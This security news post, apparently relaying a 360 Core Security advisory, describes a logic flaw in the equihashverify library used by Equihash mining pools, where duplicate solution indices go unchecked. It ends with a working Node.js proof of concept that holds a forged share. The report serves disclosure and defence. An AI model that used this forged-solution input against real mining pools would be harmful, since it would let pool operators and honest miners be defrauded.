Pierluigi Paganini April 21, 2018

Security experts at 360 Core Security have recently detected a new type of attack which targets some equihash mining pools.

After analysis, they found out the attacked equihash mining pools are using a vulnerable equihash verifier

(equihashverify : https://github.com/joshuayabut/equihashverify) to verify miners’ shares.

There is a logic vulnerability in this verifier, so attacker can easily fake mining shares which can bypass the equihash solution verifier without using so much computing power.

This vulnerability has a wide impact because the verifier (equihashverify) is previously used by the Zcash official open source mining pool (node-stratum-pool), and many new cryptocurrencies which use equihash as PoW algorithm are forked from this pool.

Equihash is a memory-oriented Proof-of-Work algorithm developed by the University of Luxembourg’s Interdisciplinary Centre for Security, Reliability and Trust (SnT).

The cryptocurrency ZCash integrated Equihash in April 2016, for reasons such as security, privacy, and ASIC miner resistance.

According to the CryptoLUX scientists, the algorithm permits avoiding centralization of the mining process in the hands of a few first-class miners with specialized mining hardware, thus contributing to the “democratization” of digital currencies based on Equihash.

Running Equihash will use quite a lot of memory which means how much you can mine depends on the volume of your computing memory. This makes it impossible to customize a low-cost mining hardware in a short time.

The vulnerability in this report is not a vulnerability of Equihash, but a vulneranility of the implementation of Equihash solution verifier. Here is the detail:

In file equi.c, we can find the function bool verifyEH(const char *hdr, const char *soln). The parameter hdr stands for the blockheader and the parameter soln={x1,x2,…,x512} stands for the user summited solution for Equihash.

The algorithm computes:

Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512);

The next step is to check if all the returned values in Vhash are zeros. If they all equal to zero, return true.

If not, return false. It seems to be feasible; however, things are different in reality because there are multiple vulnerabilities in the algorithm.

The simplest one is that the function does not check whether xi is duplicated. So, if the attacker provides a solution with {x1=1,x2=1,x3=1,…,x512=1}, then he can bypass the equihash verifier for any blockheader.

Node-stratum-pool has changed the dependency of Equihashverify to a zencash official equihashverify (https://github.com/zencashofficial/equihashverify.git). However, many other smaller cryptocurrencies and mining pools haven’t updated their dependencies yet. Attacks are happening in the wild, so please update yours in time.

The simple POCs are following:

var ev = require(‘bindings’)(‘equihashverify.node’);

header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’);

soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’);

console.log(ev.verify(header, soln));

About the author: 360 Core Security

Original post:

http://blogs.360.cn/blog/attackers-fake-computational-power-to-steal-cryptocurrencies-from-mining-pools/

Pierluigi Paganini

(Security Affairs – Cryptocurrencies, hacking equihash mining pools)

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